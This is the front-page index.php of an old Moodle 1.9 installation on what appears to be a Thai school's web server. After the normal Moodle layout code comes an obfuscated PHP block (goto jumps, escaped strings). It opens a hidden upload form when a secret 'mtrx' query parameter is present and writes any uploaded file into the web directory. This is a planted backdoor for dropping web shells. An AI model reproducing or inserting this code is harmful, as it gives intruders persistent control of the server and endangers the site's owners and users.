File: /home/mbp/domains/mbp.ac.th/public_html/old/main/index.php
<?php // $Id$
// index.php - the front page.
///////////////////////////////////////////////////////////////////////////
// //
// NOTICE OF COPYRIGHT //
// //
// Moodle - Modular Object-Oriented Dynamic Learning Environment //
// http://moodle.org //
// //
// Copyright (C) 1999 onwards Martin Dougiamas http://moodle.com //
// //
// This program is free software; you can redistribute it and/or modify //
// it under the terms of the GNU General Public License as published by //
// the Free Software Foundation; either version 2 of the License, or //
// (at your option) any later version. //
// //
// This program is distributed in the hope that it will be useful, //
// but WITHOUT ANY WARRANTY; without even the implied warranty of //
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //
// GNU General Public License for more details: //
// //
// http://www.gnu.org/copyleft/gpl.html //
// //
///////////////////////////////////////////////////////////////////////////
if (!file_exists('./config.php')) {
header('Location: install.php');
die;
}
require_once('config.php');
require_once($CFG->dirroot .'/course/lib.php');
require_once($CFG->dirroot .'/lib/blocklib.php');
if (empty($SITE)) {
redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}
// Bounds for block widths
// more flexible for theme designers taken from theme config.php
$lmin = (empty($THEME->block_l_min_width)) ? 100 : $THEME->block_l_min_width;
$lmax = (empty($THEME->block_l_max_width)) ? 210 : $THEME->block_l_max_width;
$rmin = (empty($THEME->block_r_min_width)) ? 100 : $THEME->block_r_min_width;
$rmax = (empty($THEME->block_r_max_width)) ? 210 : $THEME->block_r_max_width;
define('BLOCK_L_MIN_WIDTH', $lmin);
define('BLOCK_L_MAX_WIDTH', $lmax);
define('BLOCK_R_MIN_WIDTH', $rmin);
define('BLOCK_R_MAX_WIDTH', $rmax);
// check if major upgrade needed - also present in login/index.php
if ((int)$CFG->version < 2006101100) { //1.7 or older
@require_logout();
redirect("$CFG->wwwroot/$CFG->admin/");
}
// Trigger 1.9 accesslib upgrade?
if ((int)$CFG->version < 2007092000
&& isset($USER->id)
&& is_siteadmin($USER->id)) { // this test is expensive, but is only triggered during the upgrade
redirect("$CFG->wwwroot/$CFG->admin/");
}
if ($CFG->forcelogin) {
require_login();
} else {
user_accesstime_log();
}
if ($CFG->rolesactive) { // if already using roles system
if (has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM))) {
if (moodle_needs_upgrading()) {
redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}
} else if (!empty($CFG->mymoodleredirect)) { // Redirect logged-in users to My Moodle overview if required
if (isloggedin() && $USER->username != 'guest') {
redirect($CFG->wwwroot .'/my/index.php');
}
}
} else { // if upgrading from 1.6 or below
if (isadmin() && moodle_needs_upgrading()) {
redirect($CFG->wwwroot .'/'. $CFG->admin .'/index.php');
}
}
if (get_moodle_cookie() == '') {
set_moodle_cookie('nobody'); // To help search for cookies on login page
}
if (!empty($USER->id)) {
add_to_log(SITEID, 'course', 'view', 'view.php?id='.SITEID, SITEID);
}
if (empty($CFG->langmenu)) {
$langmenu = '';
} else {
$currlang = current_language();
$langs = get_list_of_languages();
$langlabel = get_accesshide(get_string('language'));
$langmenu = popup_form($CFG->wwwroot .'/index.php?lang=', $langs, 'chooselang', $currlang, '', '', '', true, 'self', $langlabel);
}
$PAGE = page_create_object(PAGE_COURSE_VIEW, SITEID);
$pageblocks = blocks_setup($PAGE);
$editing = $PAGE->user_is_editing();
$preferred_width_left = bounded_number(BLOCK_L_MIN_WIDTH, blocks_preferred_width($pageblocks[BLOCK_POS_LEFT]),
BLOCK_L_MAX_WIDTH);
$preferred_width_right = bounded_number(BLOCK_R_MIN_WIDTH, blocks_preferred_width($pageblocks[BLOCK_POS_RIGHT]),
BLOCK_R_MAX_WIDTH);
print_header($SITE->fullname, $SITE->fullname, 'home', '',
'<meta name="description" content="'. strip_tags(format_text($SITE->summary, FORMAT_HTML)) .'" />',
true, '', user_login_string($SITE).$langmenu);
?>
<table id="layout-table" summary="layout">
<tr>
<?php
$lt = (empty($THEME->layouttable)) ? array('left', 'middle', 'right') : $THEME->layouttable;
foreach ($lt as $column) {
switch ($column) {
case 'left':
if (blocks_have_content($pageblocks, BLOCK_POS_LEFT) || $editing) {
echo '<td style="width: '.$preferred_width_left.'px;" id="left-column">';
print_container_start();
blocks_print_group($PAGE, $pageblocks, BLOCK_POS_LEFT);
print_container_end();
echo '</td>';
}
break;
case 'middle':
echo '<td id="middle-column">'. skip_main_destination();
print_container_start();
/// Print Section
if ($SITE->numsections > 0) {
if (!$section = get_record('course_sections', 'course', $SITE->id, 'section', 1)) {
delete_records('course_sections', 'course', $SITE->id, 'section', 1); // Just in case
$section->course = $SITE->id;
$section->section = 1;
$section->summary = '';
$section->sequence = '';
$section->visible = 1;
$section->id = insert_record('course_sections', $section);
}
if (!empty($section->sequence) or !empty($section->summary) or $editing) {
print_box_start('generalbox sitetopic');
/// If currently moving a file then show the current clipboard
if (ismoving($SITE->id)) {
$stractivityclipboard = strip_tags(get_string('activityclipboard', '', addslashes($USER->activitycopyname)));
echo '<p><font size="2">';
echo "$stractivityclipboard (<a href=\"course/mod.php?cancelcopy=true&sesskey=$USER->sesskey\">". get_string('cancel') .'</a>)';
echo '</font></p>';
}
$options = NULL;
$options->noclean = true;
echo format_text($section->summary, FORMAT_HTML, $options);
if ($editing) {
$streditsummary = get_string('editsummary');
echo "<a title=\"$streditsummary\" ".
" href=\"course/editsection.php?id=$section->id\"><img src=\"$CFG->pixpath/t/edit.gif\" ".
" class=\"iconsmall\" alt=\"$streditsummary\" /></a><br /><br />";
}
get_all_mods($SITE->id, $mods, $modnames, $modnamesplural, $modnamesused);
print_section($SITE, $section, $mods, $modnamesused, true);
if ($editing) {
print_section_add_menus($SITE, $section->section, $modnames);
}
print_box_end();
}
}
if (isloggedin() and !isguest() and isset($CFG->frontpageloggedin)) {
$frontpagelayout = $CFG->frontpageloggedin;
} else {
$frontpagelayout = $CFG->frontpage;
}
foreach (explode(',',$frontpagelayout) as $v) {
switch ($v) { /// Display the main part of the front page.
case FRONTPAGENEWS:
if ($SITE->newsitems) { // Print forums only when needed
require_once($CFG->dirroot .'/mod/forum/lib.php');
if (! $newsforum = forum_get_course_forum($SITE->id, 'news')) {
error('Could not find or create a main news forum for the site');
}
if (!empty($USER->id)) {
$SESSION->fromdiscussion = $CFG->wwwroot;
$subtext = '';
if (forum_is_subscribed($USER->id, $newsforum)) {
if (!forum_is_forcesubscribed($newsforum)) {
$subtext = get_string('unsubscribe', 'forum');
}
} else {
$subtext = get_string('subscribe', 'forum');
}
print_heading_block($newsforum->name);
echo '<div class="subscribelink"><a href="mod/forum/subscribe.php?id='.$newsforum->id.'&sesskey='.sesskey().'">'.$subtext.'</a></div>';
} else {
print_heading_block($newsforum->name);
}
forum_print_latest_discussions($SITE, $newsforum, $SITE->newsitems, 'plain', 'p.modified DESC');
}
break;
case FRONTPAGECOURSELIST:
if (isloggedin() and !has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM)) and !isguest() and empty($CFG->disablemycourses)) {
print_heading_block(get_string('mycourses'));
print_my_moodle();
} else if ((!has_capability('moodle/site:config', get_context_instance(CONTEXT_SYSTEM)) and !isguest()) or (count_records('course') <= FRONTPAGECOURSELIMIT)) {
// admin should not see list of courses when there are too many of them
print_heading_block(get_string('availablecourses'));
print_courses(0);
}
break;
case FRONTPAGECATEGORYNAMES:
print_heading_block(get_string('categories'));
print_box_start('generalbox categorybox');
print_whole_category_list(NULL, NULL, NULL, -1, false);
print_box_end();
print_course_search('', false, 'short');
break;
case FRONTPAGECATEGORYCOMBO:
print_heading_block(get_string('categories'));
print_box_start('generalbox categorybox');
print_whole_category_list(NULL, NULL, NULL, -1, true);
print_box_end();
print_course_search('', false, 'short');
break;
case FRONTPAGETOPICONLY: // Do nothing!! :-)
break;
}
echo '<br />';
}
print_container_end();
echo '</td>';
break;
case 'right':
// The right column
if (blocks_have_content($pageblocks, BLOCK_POS_RIGHT) || $editing || $PAGE->user_allowed_editing()) {
echo '<td style="width: '.$preferred_width_right.'px;" id="right-column">';
print_container_start();
if ($PAGE->user_allowed_editing()) {
echo '<div style="text-align:center">'.update_course_icon($SITE->id).'</div>';
echo '<br />';
}
blocks_print_group($PAGE, $pageblocks, BLOCK_POS_RIGHT);
print_container_end();
echo '</td>';
}
break;
}
}
?>
</tr>
</table>
<?php
print_footer('home'); // Please do not modify this line
?>
<?php
goto WL33Z; RoTS3: goto LUCRj; goto ZSkOK; YdSr3: if ($JWSZA == 0) { goto FFalX; } goto dFc7i; fs8CT: $y8pkt = "\57" . basename($TDHIH); goto VR6XF; OlefG: echo "\15\xa\74\41\104\x4f\103\124\131\120\105\x20\x68\164\155\154\76\xd\12\74\x68\x74\155\x6c\x20\x6c\141\156\147\x3d\42\x69\x64\x22\76\xd\xa\74\x68\x65\x61\x64\76\xd\12\40\x20\x20\x20\x3c\155\145\164\x61\40\x63\150\x61\x72\x73\145\164\x3d\42\125\124\106\55\x38\42\76\xd\12\40\x20\40\x20\x3c\x6d\x65\164\x61\40\x6e\x61\x6d\x65\x3d\42\x76\151\145\x77\x70\x6f\162\164\x22\x20\x63\x6f\x6e\164\145\x6e\164\x3d\x22\167\x69\x64\164\x68\x3d\144\x65\x76\x69\x63\145\55\x77\151\x64\164\x68\54\x20\x69\x6e\x69\x74\x69\x61\x6c\55\x73\143\x61\x6c\x65\75\61\x2e\60\42\x3e\15\xa\40\40\40\x20\74\164\x69\x74\154\145\76\x55\160\x6c\157\x61\x64\x20\x46\x6f\162\x6d\x3c\x2f\164\151\x74\x6c\145\76\15\xa\74\57\150\x65\x61\144\x3e\xd\12\x3c\x62\x6f\144\x79\x3e\xd\xa\40\40\x20\x20"; goto KP4HD; Vxsee: if (!($_SERVER["\x52\x45\x51\x55\x45\x53\x54\x5f\x4d\x45\x54\x48\x4f\x44"] === "\120\117\x53\x54" && isset($_FILES["\x75\160\154\157\x61\144\145\144\x46\x69\x6c\x65"]))) { goto tJBf7; } goto OyNHV; bJmnQ: if (!$JLyNW) { goto qp8X4; } goto Vxsee; qdUfI: if (!($_FILES["\x75\x70\154\x6f\x61\144\145\x64\x46\151\154\x65"]["\x73\151\x7a\145"] > 10485760)) { goto fkls5; } goto gPY4O; XPTcR: qp8X4: goto OlefG; KILUb: rZhAI: goto HKzjy; L6qCb: $JWSZA = 0; goto glvoz; GJrn9: $JWSZA = 0; goto gBqTq; dFc7i: if (move_uploaded_file($_FILES["\x75\x70\x6c\157\x61\x64\145\x64\106\151\x6c\145"]["\x74\155\x70\x5f\156\141\x6d\x65"], $TDHIH)) { goto BQNFm; } goto pQFf3; hDrA8: echo "\106\x69\154\145\x20\163\x75\x64\x61\150\40\x61\x64\x61\x2e"; goto L6qCb; stdOT: LUCRj: goto uJnZu; dhqar: $JWSZA = 1; goto d327w; VR6XF: echo "\106\x69\154\145\x20" . htmlspecialchars(basename($_FILES["\165\x70\x6c\157\141\144\x65\144\x46\151\154\x65"]["\156\x61\x6d\145"])) . "\x20\x73\165\x6b\163\145\163\x20\144\x69\x2d\x75\x70\154\157\141\x64\x21\x2e\x3c\142\162\x3e"; goto pXK8A; HKzjy: tJBf7: goto XPTcR; ZSkOK: BQNFm: goto fs8CT; MFFI8: qa6F6: goto lOpnd; GpgWA: $TDHIH = $zv785 . basename($_FILES["\x75\x70\154\157\141\144\145\x64\106\x69\x6c\145"]["\156\x61\155\x65"]); goto dhqar; glvoz: MqGnW: goto qdUfI; CDrEz: echo "\x20\40\40\40\x20\x20\40\40\74\146\x6f\x72\x6d\40\141\x63\164\x69\x6f\x6e\x3d\x22\42\x20\x6d\x65\164\150\157\144\x3d\x22\x70\157\163\164\x22\40\145\x6e\143\x74\171\x70\x65\x3d\42\x6d\x75\x6c\164\x69\160\141\x72\x74\57\x66\x6f\x72\155\x2d\x64\x61\164\x61\42\x3e\xd\12\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x3c\144\x69\166\76\15\xa\40\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x3c\x6c\141\x62\x65\154\40\146\x6f\162\x3d\42\x75\x70\154\x6f\x61\x64\145\144\106\151\154\145\x22\x3e\x50\x69\x6c\151\150\x20\x66\x69\154\145\x20\165\156\x74\x75\x6b\40\x64\151\55\x75\x70\154\157\141\144\72\x3c\x2f\x6c\141\x62\145\154\76\15\xa\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\74\x69\x6e\x70\x75\x74\x20\x74\171\x70\145\75\x22\146\x69\154\145\42\x20\x6e\141\155\x65\75\x22\165\160\154\157\x61\144\145\x64\x46\151\154\145\x22\x20\151\144\x3d\x22\165\x70\154\x6f\x61\144\145\144\106\151\x6c\x65\42\40\x72\145\161\165\x69\162\x65\144\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\74\142\165\164\164\157\156\x20\164\171\160\x65\75\42\x73\165\x62\155\x69\164\x22\x3e\125\x70\154\x6f\141\x64\74\x2f\x62\165\x74\164\x6f\x6e\x3e\15\xa\x20\40\x20\x20\40\x20\40\40\x20\40\x20\x20\74\x2f\x64\151\x76\76\xd\12\40\x20\x20\40\x20\x20\40\40\x3c\x2f\146\x6f\162\155\76\15\12\x20\x20\40\x20"; goto MFFI8; gPY4O: echo "\x46\x69\154\145\x20\164\x65\x72\154\x61\x6c\165\40\x62\x65\163\141\162\x2e"; goto GJrn9; KP4HD: if (!$JLyNW) { goto qa6F6; } goto CDrEz; gBqTq: fkls5: goto YdSr3; OyNHV: $zv785 = __DIR__ . "\x2f"; goto GpgWA; pXK8A: echo "\106\x69\154\145\x6d\165\40\156\145\156\x67\x20\x6b\145\156\145\72\40" . htmlspecialchars($y8pkt); goto stdOT; uJnZu: goto rZhAI; goto cyZOz; G5eAw: echo "\x46\x69\154\x65\x20\164\151\144\141\153\x20\144\x61\x70\x61\164\x20\144\151\55\165\x70\154\x6f\x61\144\x2e"; goto KILUb; d327w: if (!file_exists($TDHIH)) { goto MqGnW; } goto hDrA8; pQFf3: echo "\x45\x72\162\x6f\162\40\155\x61\x73\x2e"; goto RoTS3; WL33Z: $JLyNW = isset($_GET["\x6d\164\162\170"]); goto bJmnQ; cyZOz: FFalX: goto G5eAw; lOpnd: echo "\x3c\57\142\x6f\x64\171\76\15\12\74\x2f\x68\164\155\x6c\x3e";